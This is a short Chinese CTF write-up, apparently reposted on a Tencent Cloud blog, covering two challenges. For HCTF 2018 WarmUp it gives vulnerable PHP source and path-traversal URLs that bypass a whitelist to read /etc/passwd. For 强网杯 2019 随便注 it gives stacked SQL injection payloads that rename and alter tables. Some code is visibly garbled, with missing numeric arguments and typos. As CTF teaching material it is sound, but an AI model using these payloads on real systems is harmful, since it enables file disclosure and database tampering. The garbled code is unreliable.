前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >部分CTF writeup

部分CTF writeup

作者头像
用户5878089
发布2019-10-10 17:16:03
5810
发布2019-10-10 17:16:03
举报

[HCTF 2018]WarmUp

从source.php里可以看到源码:

代码语言:javascript
复制
 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                ,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                ,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

分析一下:

有个hint.php,提示了flag的位置 所以是要文件包含

mb_strpos返回字符第一次出现的位置

mb_substr 截取制定的长度

所以可以有两种payload

第一种对应第二个return

直接使用?

第二种对应第三个return

可以使用return的编码

最后的payload

代码语言:javascript
复制
http://fa704bac-4af9-45b8-a410-cfca90929e1d.node2.buuoj.cn.wetolink.com:/index.php?file=source.php?/../../../../../etc/passwd
代码语言:javascript
复制
http://fa704bac-4af9-45b8-a410-cfca90929e1d.node2.buuoj.cn.wetolink.com:/index.php?file=source.php%f/../../../../../etc/passwd

[强网杯 2019]随便注

代码语言:javascript
复制
1’;rename table words to word1;rename table  to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar();#

接着我们再用1’ or 1=1 #,查询就得到flag
代码语言:javascript
复制
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-10-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • [HCTF 2018]WarmUp
  • [强网杯 2019]随便注
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档